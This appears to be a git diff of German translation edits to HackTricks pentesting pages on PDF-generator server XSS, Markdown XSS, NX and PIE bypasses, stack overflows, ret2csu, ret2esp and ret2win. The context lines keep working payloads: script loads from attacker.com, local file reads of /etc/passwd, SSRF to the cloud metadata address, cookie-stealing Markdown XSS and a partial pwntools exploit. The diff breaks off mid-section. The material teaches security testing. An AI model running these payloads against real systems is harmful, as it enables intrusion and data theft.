-Wenn der **PDF-Ersteller-Bot** einige **HTML** **Tags** findet, wird er sie **interpretieren**, und Sie können dieses Verhalten **ausnutzen**, um ein **Server XSS** zu verursachen.
+Wenn eine Webseite ein PDF mit benutzergesteuerten Eingaben erstellt, kannst du versuchen, den **Bot**, der das PDF erstellt, zu **überlisten**, um **willkürlichen JS-Code** auszuführen.\
+Wenn der **PDF-Ersteller-Bot** eine Art von **HTML** **Tags** findet, wird er sie **interpretieren**, und du kannst dieses Verhalten **ausnutzen**, um eine **Server XSS** zu verursachen.
 
-Bitte beachten Sie, dass die `<script></script>`-Tags nicht immer funktionieren, daher benötigen Sie eine andere Methode, um JS auszuführen (zum Beispiel durch Ausnutzen von `<img>`).\
-Beachten Sie auch, dass Sie bei einer regulären Ausnutzung **das erstellte PDF sehen/herunterladen können**, sodass Sie alles sehen können, was Sie **über JS schreiben** (zum Beispiel mit `document.write()`). Aber wenn Sie das erstellte PDF **nicht sehen können**, müssen Sie wahrscheinlich **die Informationen extrahieren, indem Sie Webanfragen an sich selbst stellen** (Blind).
+Bitte beachte, dass die `<script></script>`-Tags nicht immer funktionieren, daher benötigst du eine andere Methode, um JS auszuführen (zum Beispiel durch Ausnutzen von `<img` ).\
+Beachte auch, dass du bei einer regulären Ausnutzung in der Lage sein wirst, das erstellte PDF zu **sehen/herunterzuladen**, sodass du alles sehen kannst, was du **über JS** schreibst (zum Beispiel mit `document.write()`). Aber wenn du das erstellte PDF **nicht sehen kannst**, musst du wahrscheinlich **die Informationen extrahieren, indem du Webanfragen an dich sendest** (Blind).
 
 ### Beliebte PDF-Generierung
 
-- **wkhtmltopdf** ist bekannt für seine Fähigkeit, HTML und CSS in PDF-Dokumente zu konvertieren, wobei die WebKit-Rendering-Engine verwendet wird. Dieses Tool ist als Open-Source-Befehlszeilenprogramm verfügbar und somit für eine Vielzahl von Anwendungen zugänglich.
+- **wkhtmltopdf** ist bekannt für seine Fähigkeit, HTML und CSS in PDF-Dokumente zu konvertieren, wobei die WebKit-Rendering-Engine verwendet wird. Dieses Tool ist als Open-Source-Befehlszeilenprogramm verfügbar und macht es für eine Vielzahl von Anwendungen zugänglich.
 - **TCPDF** bietet eine robuste Lösung innerhalb des PHP-Ökosystems für die PDF-Generierung. Es kann Bilder, Grafiken und Verschlüsselung verarbeiten und zeigt seine Vielseitigkeit bei der Erstellung komplexer Dokumente.
 - Für diejenigen, die in einer Node.js-Umgebung arbeiten, bietet **PDFKit** eine praktikable Option. Es ermöglicht die Erstellung von PDF-Dokumenten direkt aus HTML und CSS und bietet eine Brücke zwischen Webinhalten und druckbaren Formaten.
-- Java-Entwickler könnten **iText** bevorzugen, eine Bibliothek, die nicht nur die PDF-Erstellung erleichtert, sondern auch erweiterte Funktionen wie digitale Signaturen und Formularfüllung unterstützt. Ihr umfassendes Funktionsset macht sie geeignet für die Erstellung sicherer und interaktiver Dokumente.
-- **FPDF** ist eine weitere PHP-Bibliothek, die sich durch ihre Einfachheit und Benutzerfreundlichkeit auszeichnet. Sie ist für Entwickler konzipiert, die einen unkomplizierten Ansatz zur PDF-Generierung suchen, ohne umfangreiche Funktionen zu benötigen.
+- Java-Entwickler könnten **iText** bevorzugen, eine Bibliothek, die nicht nur die PDF-Erstellung erleichtert, sondern auch erweiterte Funktionen wie digitale Signaturen und Formularfüllung unterstützt. Ihr umfassendes Funktionsspektrum macht sie geeignet für die Erstellung sicherer und interaktiver Dokumente.
+- **FPDF** ist eine weitere PHP-Bibliothek, die sich durch ihre Einfachheit und Benutzerfreundlichkeit auszeichnet. Sie ist für Entwickler konzipiert, die einen unkomplizierten Ansatz zur PDF-Generierung suchen, ohne umfangreiche Funktionen.
 
 ## Payloads
 
-### Entdeckung
+### Discovery
 ```markup
 <!-- Basic discovery, Write somthing-->
 <img src="x" onerror="document.write('test')" />
@@ -69,9 +69,9 @@ if not, you will at least have wich path the bot is accessing -->
 <img src="x" onerror="document.write(window.location)" />
 <script> document.write(window.location) </script>
 ```
-### Laden eines externen Skripts
+### Lade ein externes Skript
 
-Die beste konforme Methode, um diese Schwachstelle auszunutzen, besteht darin, die Schwachstelle zu missbrauchen, um den Bot ein Skript laden zu lassen, das Sie lokal kontrollieren. Dann können Sie die Nutzlast lokal ändern und den Bot dazu bringen, sie jedes Mal mit demselben Code zu laden.
+Die beste konforme Methode, um diese Schwachstelle auszunutzen, besteht darin, die Schwachstelle zu missbrauchen, um den Bot ein Skript laden zu lassen, das du lokal kontrollierst. Dann wirst du in der Lage sein, die Payload lokal zu ändern und den Bot sie jedes Mal mit demselben Code laden zu lassen.
 ```markup
 <script src="http://attacker.com/myscripts.js"></script>
 <img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
@@ -79,9 +79,9 @@ Die beste konforme Methode, um diese Schwachstelle auszunutzen, besteht darin, d
 ### Lokale Datei lesen / SSRF
 
 > [!WARNING]
-> Ändern Sie `file:///etc/passwd` in `http://169.254.169.254/latest/user-data`, um beispielsweise **auf eine externe Webseite (SSRF)** zuzugreifen.
+> Ändern Sie `file:///etc/passwd` in `http://169.254.169.254/latest/user-data`, um beispielsweise **zu versuchen, auf eine externe Webseite (SSRF)** zuzugreifen.
 >
-> Wenn SSRF erlaubt ist, Sie jedoch **keinen Zugriff** auf eine interessante Domain oder IP haben, [prüfen Sie diese Seite auf mögliche Umgehungen](../ssrf-server-side-request-forgery/url-format-bypass.md).
+> Wenn SSRF erlaubt ist, Sie jedoch **keinen Zugriff** auf eine interessante Domain oder IP haben, [prüfen Sie diese Seite auf potenzielle Umgehungen](../ssrf-server-side-request-forgery/url-format-bypass.md).
 ```markup
 <script>
 x=new XMLHttpRequest;
@@ -145,7 +145,7 @@ checkPort(i);
 </script>
 <img src="https://attacker.com/startingScan">
 ```
-### [SSRF](../ssrf-server-side-request-forgery/)
+### [SSRF](../ssrf-server-side-request-forgery/index.html)
 
 Diese Schwachstelle kann sehr einfach in eine SSRF umgewandelt werden (da Sie das Skript externe Ressourcen laden lassen können). Versuchen Sie also, sie auszunutzen (einige Metadaten lesen?).
 

src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md

@@ -33,7 +33,7 @@ t:prompt(document.cookie))
 [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
 [a](javascript:window.onerror=alert;throw%201)
 ```
-### Missbrauch der Img-Event-Syntax
+### Img-Event-Syntax-Missbrauch
 ```markdown
 ![Uh oh...](<"onerror="alert('XSS')>)
 ![Uh oh...](<https://www.example.com/image.png"onload="alert('XSS')>)
@@ -61,7 +61,7 @@ Payloads Beispiel:
 <div
 id="1
 
-![](contenteditable/autofocus/onfocus=confirm('qwq')//)">
+![](contenteditable/autofocus/onfocus=confirm('qwq')//index.html)">
 -----------------------------------------------
 <a
 title="a

src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md

@@ -4,12 +4,12 @@
 
 ## Grundlegende Informationen
 
-Das **No-Execute (NX)**-Bit, auch bekannt als **Execute Disable (XD)** in der Intel-Terminologie, ist eine hardwarebasierte Sicherheitsfunktion, die entwickelt wurde, um die Auswirkungen von **Buffer Overflow**-Angriffen zu **mildern**. Wenn es implementiert und aktiviert ist, unterscheidet es zwischen Speicherbereichen, die für **ausführbaren Code** vorgesehen sind, und solchen, die für **Daten** gedacht sind, wie den **Stack** und den **Heap**. Die grundlegende Idee ist, einen Angreifer daran zu hindern, schädlichen Code durch Buffer Overflow-Schwachstellen auszuführen, indem der schädliche Code beispielsweise im Stack platziert und der Ausführungsfluss dorthin geleitet wird.
+Das **No-Execute (NX)**-Bit, auch bekannt als **Execute Disable (XD)** in der Intel-Terminologie, ist eine hardwarebasierte Sicherheitsfunktion, die entwickelt wurde, um die Auswirkungen von **Buffer Overflow**-Angriffen zu **mildern**. Wenn es implementiert und aktiviert ist, unterscheidet es zwischen Speicherbereichen, die für **ausführbaren Code** vorgesehen sind, und solchen, die für **Daten** gedacht sind, wie zum Beispiel dem **Stack** und dem **Heap**. Die grundlegende Idee ist, einen Angreifer daran zu hindern, schädlichen Code durch Buffer Overflow-Schwachstellen auszuführen, indem der schädliche Code beispielsweise im Stack platziert und der Ausführungsfluss dorthin geleitet wird.
 
 ## Umgehungen
 
 - Es ist möglich, Techniken wie [**ROP**](../stack-overflow/rop-return-oriented-programing.md) zu verwenden, um diesen Schutz zu umgehen, indem Teile von bereits im Binärformat vorhandenem ausführbarem Code ausgeführt werden.
-- [**Ret2libc**](../stack-overflow/ret2lib/)
+- [**Ret2libc**](../stack-overflow/ret2lib/index.html)
 - [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
 - **Ret2...**
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md

@@ -8,22 +8,22 @@ Eine als PIE kompilierte Binärdatei, oder **Position Independent Executable**,
 
 Der Trick, um diese Binärdateien auszunutzen, besteht darin, die **relativen Adressen** auszunutzen – die Offsets zwischen den Teilen des Programms bleiben gleich, auch wenn sich die absoluten Standorte ändern. Um **PIE zu umgehen, müssen Sie nur eine Adresse leaken**, typischerweise vom **Stack** unter Verwendung von Schwachstellen wie Format-String-Angriffen. Sobald Sie eine Adresse haben, können Sie andere anhand ihrer **festen Offsets** berechnen.
 
-Ein hilfreicher Hinweis beim Ausnutzen von PIE-Binärdateien ist, dass ihre **Basisadresse typischerweise mit 000 endet**, da Speicherseiten die Einheiten der Randomisierung sind, die eine Größe von 0x1000 Bytes haben. Diese Ausrichtung kann eine kritische **Überprüfung sein, wenn ein Exploit nicht wie erwartet funktioniert**, um anzuzeigen, ob die richtige Basisadresse identifiziert wurde.\
-Oder Sie können dies für Ihren Exploit verwenden, wenn Sie leaken, dass eine Adresse bei **`0x649e1024`** liegt, wissen Sie, dass die **Basisadresse `0x649e1000`** ist und von dort aus können Sie einfach die **Offsets** von Funktionen und Standorten berechnen.
+Ein hilfreicher Hinweis beim Ausnutzen von PIE-Binärdateien ist, dass ihre **Basisadresse typischerweise auf 000 endet**, da Speicherseiten die Einheiten der Randomisierung sind, die eine Größe von 0x1000 Bytes haben. Diese Ausrichtung kann eine kritische **Überprüfung sein, wenn ein Exploit nicht wie erwartet funktioniert**, um anzuzeigen, ob die richtige Basisadresse identifiziert wurde.\
+Oder Sie können dies für Ihren Exploit verwenden, wenn Sie leaken, dass eine Adresse bei **`0x649e1024`** liegt, wissen Sie, dass die **Basisadresse `0x649e1000` ist** und von dort aus können Sie einfach die **Offsets** von Funktionen und Standorten berechnen.
 
 ## Umgehungen
 
 Um PIE zu umgehen, ist es notwendig, **eine Adresse der geladenen** Binärdatei zu leaken, es gibt einige Optionen dafür:
 
 - **Deaktiviertes ASLR**: Wenn ASLR deaktiviert ist, wird eine mit PIE kompilierte Binärdatei immer **an derselben Adresse geladen**, daher wird **PIE nutzlos sein**, da die Adressen der Objekte immer am selben Ort sein werden.
-- **Erhalten** Sie den Leak (häufig in einfachen CTF-Herausforderungen, [**prüfen Sie dieses Beispiel**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
+- **Gegeben** werden die Leckage (häufig in einfachen CTF-Herausforderungen, [**prüfen Sie dieses Beispiel**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
 - **Brute-Force EBP- und EIP-Werte** im Stack, bis Sie die richtigen leaken:
 
 {{#ref}}
 bypassing-canary-and-pie.md
 {{#endref}}
 
-- Verwenden Sie eine willkürliche Leseanfälligkeit wie [**Format-String**](../../format-strings/), um eine Adresse der Binärdatei zu leaken (z. B. vom Stack, wie in der vorherigen Technik), um die Basis der Binärdatei zu erhalten und von dort aus Offsets zu verwenden. [**Finden Sie hier ein Beispiel**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
+- Verwenden Sie eine willkürliche Leseanfälligkeit wie [**Format-String**](../../format-strings/index.html), um eine Adresse der Binärdatei zu leaken (z. B. vom Stack, wie in der vorherigen Technik), um die Basis der Binärdatei zu erhalten und von dort aus Offsets zu verwenden. [**Finden Sie hier ein Beispiel**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
 
 ## Referenzen
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md

@@ -4,12 +4,12 @@
 
 ## Was ist ein Stack Overflow
 
-Ein **Stack Overflow** ist eine Sicherheitsanfälligkeit, die auftritt, wenn ein Programm mehr Daten auf den Stack schreibt, als ihm zugewiesen sind. Diese überschüssigen Daten werden **benachbarte Speicherbereiche überschreiben**, was zur Korruption gültiger Daten, zur Störung des Kontrollflusses und möglicherweise zur Ausführung von schädlichem Code führt. Dieses Problem tritt häufig aufgrund der Verwendung unsicherer Funktionen auf, die keine Grenzüberprüfung der Eingaben durchführen.
+Ein **Stack Overflow** ist eine Schwachstelle, die auftritt, wenn ein Programm mehr Daten auf den Stack schreibt, als ihm zugewiesen sind. Diese überschüssigen Daten werden **benachbarte Speicherbereiche überschreiben**, was zur Korruption gültiger Daten, zur Störung des Kontrollflusses und möglicherweise zur Ausführung von schädlichem Code führen kann. Dieses Problem tritt häufig aufgrund der Verwendung unsicherer Funktionen auf, die keine Grenzkontrolle für Eingaben durchführen.
 
 Das Hauptproblem bei diesem Überschreiben ist, dass der **gespeicherte Befehlszeiger (EIP/RIP)** und der **gespeicherte Basiszeiger (EBP/RBP)**, um zur vorherigen Funktion zurückzukehren, **auf dem Stack gespeichert sind**. Daher wird ein Angreifer in der Lage sein, diese zu überschreiben und **den Ausführungsfluss des Programms zu steuern**.
 
-Die Sicherheitsanfälligkeit tritt normalerweise auf, weil eine Funktion **mehr Bytes auf den Stack kopiert, als dafür zugewiesen sind**, wodurch sie in der Lage ist, andere Teile des Stacks zu überschreiben.\
-Einige gängige Funktionen, die anfällig sind, sind: `strcpy`, `strcat`, `sprintf`, `gets`... Auch Funktionen wie `fgets` oder `read`, die ein Längenargument annehmen, könnten auf eine anfällige Weise verwendet werden, wenn die angegebene Länge größer ist als die zugewiesene.
+Die Schwachstelle tritt normalerweise auf, weil eine Funktion **mehr Bytes auf den Stack kopiert, als dafür zugewiesen sind**, und somit in der Lage ist, andere Teile des Stacks zu überschreiben.\
+Einige gängige Funktionen, die anfällig dafür sind, sind: `strcpy`, `strcat`, `sprintf`, `gets`... Auch Funktionen wie `fgets` oder `read`, die ein Längenargument annehmen, könnten auf eine anfällige Weise verwendet werden, wenn die angegebene Länge größer ist als die zugewiesene.
 
 Zum Beispiel könnten die folgenden Funktionen anfällig sein:
 ```c
@@ -22,9 +22,9 @@ printf("You entered: %s\n", buffer);
 ```
 ### Finden von Stack-Überläufen
 
-Die häufigste Methode, um Stack-Überläufe zu finden, besteht darin, eine sehr große Eingabe von `A`s zu geben (z.B. `python3 -c 'print("A"*1000)'`) und einen `Segmentation Fault` zu erwarten, der anzeigt, dass die **Adresse `0x41414141` versucht wurde zuzugreifen**.
+Die häufigste Methode, um Stack-Überläufe zu finden, besteht darin, eine sehr große Eingabe von `A`s zu geben (z. B. `python3 -c 'print("A"*1000)'`) und einen `Segmentation Fault` zu erwarten, der anzeigt, dass die **Adresse `0x41414141` versucht wurde zuzugreifen**.
 
-Darüber hinaus, sobald Sie festgestellt haben, dass es eine Stack Overflow-Sicherheitsanfälligkeit gibt, müssen Sie den Offset finden, bis es möglich ist, die **Rücksprungadresse zu überschreiben**. Dazu wird normalerweise eine **De Bruijn-Sequenz** verwendet. Diese ist für ein gegebenes Alphabet der Größe _k_ und Teilfolgen der Länge _n_ eine **zyklische Sequenz, in der jede mögliche Teilfolge der Länge **_**n**_** genau einmal** als zusammenhängende Teilfolge erscheint.
+Darüber hinaus, sobald Sie festgestellt haben, dass eine Stack Overflow-Sicherheitsanfälligkeit vorliegt, müssen Sie den Offset finden, bis es möglich ist, die **Rücksprungadresse zu überschreiben**. Dazu wird normalerweise eine **De Bruijn-Sequenz** verwendet. Diese ist für ein gegebenes Alphabet der Größe _k_ und Teilsequenzen der Länge _n_ eine **zyklische Sequenz, in der jede mögliche Teilsequenz der Länge **_**n**_** genau einmal** als zusammenhängende Teilsequenz erscheint.
 
 Auf diese Weise ist es anstelle von Hand erforderlich, herauszufinden, welcher Offset benötigt wird, um das EIP zu steuern, möglich, als Padding eine dieser Sequenzen zu verwenden und dann den Offset der Bytes zu finden, die es überschrieben haben.
 
@@ -47,16 +47,16 @@ pattern create 200 #Generate length 200 pattern
 pattern search "avaaawaa" #Search for the offset of that substring
 pattern search $rsp #Search the offset given the content of $rsp
 ```
-## Ausnutzen von Stacküberläufen
+## Ausnutzen von Stack-Überläufen
 
-Während eines Überlaufs (vorausgesetzt, die Überlaufgröße ist groß genug) können Sie die Werte lokaler Variablen im Stack überschreiben, bis Sie das gespeicherte EBP/RBP und EIP/RIP erreichen (oder sogar mehr).\
+Während eines Überlaufs (vorausgesetzt, die Überlaufgröße ist groß genug) wirst du in der Lage sein, Werte von lokalen Variablen im Stack zu überschreiben, bis du das gespeicherte EBP/RBP und EIP/RIP erreichst (oder sogar mehr).\
 Die häufigste Methode, diese Art von Schwachstelle auszunutzen, besteht darin, die **Rücksprungadresse zu modifizieren**, sodass beim Ende der Funktion der **Kontrollfluss dorthin umgeleitet wird, wo der Benutzer in diesem Zeiger angegeben hat**.
 
-In anderen Szenarien könnte es jedoch ausreichen, **einige Variablenwerte im Stack zu überschreiben**, um die Ausnutzung zu erreichen (wie bei einfachen CTF-Herausforderungen).
+In anderen Szenarien könnte es jedoch ausreichen, einfach **einige Variablenwerte im Stack zu überschreiben**, um die Ausnutzung zu erreichen (wie bei einfachen CTF-Herausforderungen).
 
 ### Ret2win
 
-In diesen CTF-Herausforderungen gibt es eine **Funktion**, die **im** Binärprogramm **nie aufgerufen wird** und die **Sie aufrufen müssen, um zu gewinnen**. Für diese Herausforderungen müssen Sie nur den **Offset finden, um die Rücksprungadresse zu überschreiben**, und **die Adresse der Funktion finden**, die aufgerufen werden soll (normalerweise wäre [**ASLR**](../common-binary-protections-and-bypasses/aslr/) deaktiviert), sodass, wenn die verwundbare Funktion zurückkehrt, die versteckte Funktion aufgerufen wird:
+In dieser Art von CTF-Herausforderungen gibt es eine **Funktion**, die **innerhalb** der Binärdatei **nie aufgerufen wird** und die **du aufrufen musst, um zu gewinnen**. Für diese Herausforderungen musst du nur den **Offset finden, um die Rücksprungadresse zu überschreiben** und **die Adresse der Funktion finden**, die aufgerufen werden soll (normalerweise wäre [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) deaktiviert), sodass, wenn die verwundbare Funktion zurückkehrt, die versteckte Funktion aufgerufen wird:
 
 {{#ref}}
 ret2win.md
@@ -72,7 +72,7 @@ stack-shellcode.md
 
 ## ROP
 
-Diese Technik ist das grundlegende Framework, um den Hauptschutz der vorherigen Technik zu umgehen: **Kein ausführbarer Stack** (NX). Und sie ermöglicht die Durchführung mehrerer anderer Techniken (ret2lib, ret2syscall...), die letztendlich beliebige Befehle ausführen, indem sie vorhandene Anweisungen im Binärprogramm ausnutzen:
+Diese Technik ist das grundlegende Framework, um den Hauptschutz der vorherigen Technik zu umgehen: **Kein ausführbarer Stack** (NX). Und sie ermöglicht die Durchführung mehrerer anderer Techniken (ret2lib, ret2syscall...), die letztendlich beliebige Befehle ausführen, indem sie vorhandene Anweisungen in der Binärdatei ausnutzen:
 
 {{#ref}}
 rop-return-oriented-programing.md
@@ -80,7 +80,7 @@ rop-return-oriented-programing.md
 
 ## Arten von Schutzmaßnahmen
 
-Es gibt mehrere Schutzmaßnahmen, die versuchen, die Ausnutzung von Schwachstellen zu verhindern. Überprüfen Sie sie in:
+Es gibt mehrere Schutzmaßnahmen, die versuchen, die Ausnutzung von Schwachstellen zu verhindern, überprüfe sie in:
 
 {{#ref}}
 ../common-binary-protections-and-bypasses/

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md

@@ -4,7 +4,7 @@
 
 ## Grundinformationen
 
-**ret2csu** ist eine Hacking-Technik, die verwendet wird, wenn Sie versuchen, die Kontrolle über ein Programm zu übernehmen, aber die **gadgets** nicht finden können, die Sie normalerweise verwenden, um das Verhalten des Programms zu manipulieren. 
+**ret2csu** ist eine Hacking-Technik, die verwendet wird, wenn Sie versuchen, die Kontrolle über ein Programm zu übernehmen, aber die **gadgets**, die Sie normalerweise verwenden, um das Verhalten des Programms zu manipulieren, nicht finden können. 
 
 Wenn ein Programm bestimmte Bibliotheken (wie libc) verwendet, hat es einige integrierte Funktionen, um zu verwalten, wie verschiedene Teile des Programms miteinander kommunizieren. Unter diesen Funktionen gibt es einige versteckte Schätze, die als unsere fehlenden Gadgets fungieren können, insbesondere eines namens `__libc_csu_init`.
 
@@ -26,7 +26,7 @@ Dieses Gadget ermöglicht es uns, diese Register zu steuern, indem wir Werte vom
 
 2. Die zweite Sequenz verwendet die Werte, die wir eingerichtet haben, um ein paar Dinge zu tun:
 - **Bestimmte Werte in andere Register verschieben**, um sie bereit zu machen, dass wir sie als Parameter in Funktionen verwenden können.
-- **Einen Aufruf zu einem Ort durchführen**, der bestimmt wird, indem die Werte in r15 und rbx zusammenaddiert und dann rbx mit 8 multipliziert wird.
+- **Einen Aufruf zu einem Ort durchführen**, der bestimmt wird, indem die Werte in r15 und rbx zusammenaddiert und dann rbx mit 8 multipliziert werden.
 ```
 mov rdx, r14;
 mov rsi, r13;
@@ -35,12 +35,12 @@ call qword [r15 + rbx*8];
 ```
 ## Beispiel
 
-Stellen Sie sich vor, Sie möchten einen syscall ausführen oder eine Funktion wie `write()` aufrufen, benötigen jedoch spezifische Werte in den `rdx`- und `rsi`-Registern als Parameter. Normalerweise würden Sie nach Gadgets suchen, die diese Register direkt setzen, aber Sie können keine finden.
+Stellen Sie sich vor, Sie möchten einen syscall oder eine Funktion wie `write()` aufrufen, benötigen jedoch spezifische Werte in den `rdx`- und `rsi`-Registern als Parameter. Normalerweise würden Sie nach Gadgets suchen, die diese Register direkt setzen, aber Sie können keine finden.
 
 Hier kommt **ret2csu** ins Spiel:
 
 1. **Register einrichten**: Verwenden Sie das erste magische Gadget, um Werte vom Stack in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) und r15 zu poppen.
-2. **Zweites Gadget verwenden**: Mit diesen gesetzten Registern verwenden Sie das zweite Gadget. Dies ermöglicht es Ihnen, Ihre gewählten Werte in `rdx` und `rsi` (von r14 und r13) zu verschieben und die Parameter für einen Funktionsaufruf vorzubereiten. Darüber hinaus können Sie durch die Kontrolle von `r15` und `rbx` das Programm dazu bringen, eine Funktion an der Adresse aufzurufen, die Sie berechnen und in `[r15 + rbx*8]` platzieren.
+2. **Das zweite Gadget verwenden**: Mit diesen gesetzten Registern verwenden Sie das zweite Gadget. Dies ermöglicht es Ihnen, Ihre gewählten Werte in `rdx` und `rsi` (von r14 und r13) zu verschieben und die Parameter für einen Funktionsaufruf vorzubereiten. Darüber hinaus können Sie durch die Kontrolle von `r15` und `rbx` das Programm dazu bringen, eine Funktion an der Adresse aufzurufen, die Sie berechnen und in `[r15 + rbx*8]` platzieren.
 
 Sie haben ein [**Beispiel, das diese Technik verwendet und hier erklärt**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), und dies ist der endgültige Exploit, den es verwendet:
 ```python
@@ -71,6 +71,6 @@ print(p.recvline())                        # should receive "Awesome work!"
 
 ### Warum nicht einfach libc direkt verwenden?
 
-In der Regel sind diese Fälle auch anfällig für [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), aber manchmal müssen Sie mehr Parameter steuern, als mit den Gadgets, die Sie direkt in libc finden, leicht steuerbar sind. Zum Beispiel erfordert die Funktion `write()` drei Parameter, und **das Finden von Gadgets, um all diese direkt zu setzen, könnte nicht möglich sein**.
+In der Regel sind diese Fälle auch anfällig für [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), aber manchmal müssen Sie mehr Parameter steuern, als mit den Gadgets, die Sie direkt in libc finden, leicht kontrolliert werden können. Zum Beispiel erfordert die Funktion `write()` drei Parameter, und **es könnte nicht möglich sein, Gadgets zu finden, um all diese direkt einzustellen**.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md

@@ -6,13 +6,13 @@
 
 **Da der ESP (Stack Pointer) immer auf die Spitze des Stacks zeigt**, besteht diese Technik darin, den EIP (Instruction Pointer) mit der Adresse einer **`jmp esp`** oder **`call esp`** Anweisung zu ersetzen. Dadurch wird der Shellcode direkt nach dem überschriebenen EIP platziert. Wenn die `ret` Anweisung ausgeführt wird, zeigt ESP auf die nächste Adresse, genau dort, wo der Shellcode gespeichert ist.
 
-Wenn **Address Space Layout Randomization (ASLR)** in Windows oder Linux nicht aktiviert ist, ist es möglich, `jmp esp` oder `call esp` Anweisungen in gemeinsam genutzten Bibliotheken zu verwenden. Mit aktivem [**ASLR**](../common-binary-protections-and-bypasses/aslr/) muss man jedoch möglicherweise innerhalb des anfälligen Programms nach diesen Anweisungen suchen (und man könnte [**PIE**](../common-binary-protections-and-bypasses/pie/) überwinden müssen).
+Wenn **Address Space Layout Randomization (ASLR)** in Windows oder Linux nicht aktiviert ist, ist es möglich, `jmp esp` oder `call esp` Anweisungen in gemeinsam genutzten Bibliotheken zu verwenden. Mit aktivem [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) muss man jedoch möglicherweise innerhalb des verwundbaren Programms nach diesen Anweisungen suchen (und man könnte [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) überwinden müssen).
 
 Darüber hinaus stellt die Fähigkeit, den Shellcode **nach der EIP-Korruption** zu platzieren, anstatt in der Mitte des Stacks, sicher, dass keine `push` oder `pop` Anweisungen, die während des Betriebs der Funktion ausgeführt werden, mit dem Shellcode interferieren. Diese Interferenz könnte auftreten, wenn der Shellcode in der Mitte des Funktionsstacks platziert wird.
 
-### Fehlender Platz
+### Platzmangel
 
-Wenn Ihnen der Platz fehlt, um nach dem Überschreiben von RIP zu schreiben (vielleicht nur ein paar Bytes), schreiben Sie einen anfänglichen `jmp` Shellcode wie:
+Wenn Sie nicht genügend Platz haben, um nach dem Überschreiben von RIP zu schreiben (vielleicht nur ein paar Bytes), schreiben Sie einen anfänglichen `jmp` Shellcode wie:
 ```armasm
 sub rsp, 0x30
 jmp rsp
@@ -52,7 +52,7 @@ Sie können ein Beispiel hier finden: [https://ir0nstone.gitbook.io/notes/types/
 ## Schutzmaßnahmen
 
 - [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Wenn der Stack nicht ausführbar ist, hilft das nicht, da wir den Shellcode im Stack platzieren und springen müssen, um ihn auszuführen.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Diese können es erschweren, eine Anweisung zu finden, um zu esp oder einem anderen Register zu springen.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Diese können es erschweren, eine Anweisung zu finden, um zu esp oder einem anderen Register zu springen.
 
 ## Referenzen
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md

@@ -4,7 +4,7 @@
 
 ## Grundinformationen
 
-**Ret2win**-Herausforderungen sind eine beliebte Kategorie in **Capture The Flag (CTF)**-Wettbewerben, insbesondere bei Aufgaben, die **binary exploitation** beinhalten. Das Ziel ist es, eine Schwachstelle in einem gegebenen Binary auszunutzen, um eine spezifische, nicht aufgerufene Funktion innerhalb des Binaries auszuführen, die oft etwas wie `win`, `flag` usw. genannt wird. Diese Funktion gibt, wenn sie ausgeführt wird, normalerweise ein Flag oder eine Erfolgsmeldung aus. Die Herausforderung besteht typischerweise darin, die **Rücksprungadresse** auf dem Stack zu überschreiben, um den Ausführungsfluss zur gewünschten Funktion umzuleiten. Hier ist eine detailliertere Erklärung mit Beispielen:
+**Ret2win**-Herausforderungen sind eine beliebte Kategorie in **Capture The Flag (CTF)**-Wettbewerben, insbesondere bei Aufgaben, die **binary exploitation** beinhalten. Das Ziel ist es, eine Schwachstelle in einem gegebenen Binary auszunutzen, um eine bestimmte, nicht aufgerufene Funktion innerhalb des Binaries auszuführen, die oft etwas wie `win`, `flag` usw. genannt wird. Diese Funktion gibt, wenn sie ausgeführt wird, normalerweise ein Flag oder eine Erfolgsmeldung aus. Die Herausforderung besteht typischerweise darin, die **Rücksprungadresse** auf dem Stack zu überschreiben, um den Ausführungsfluss zur gewünschten Funktion umzuleiten. Hier ist eine detailliertere Erklärung mit Beispielen:
 
 ### C-Beispiel
 
@@ -27,7 +27,7 @@ vulnerable_function();
 return 0;
 }
 ```
-Um dieses Programm ohne Stack-Schutz und mit deaktiviertem **ASLR** zu kompilieren, können Sie den folgenden Befehl verwenden:
+Um dieses Programm ohne Stack-Schutz und mit **ASLR** deaktiviert zu kompilieren, können Sie den folgenden Befehl verwenden:
 ```sh
 gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 ```
@@ -39,7 +39,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 
 ### Python Exploit mit Pwntools
 
-Für den Exploit verwenden wir **pwntools**, ein leistungsstarkes CTF-Framework zum Schreiben von Exploits. Das Exploit-Skript wird eine Payload erstellen, um den Puffer zu überlaufen und die Rücksprungadresse mit der Adresse der `win`-Funktion zu überschreiben.
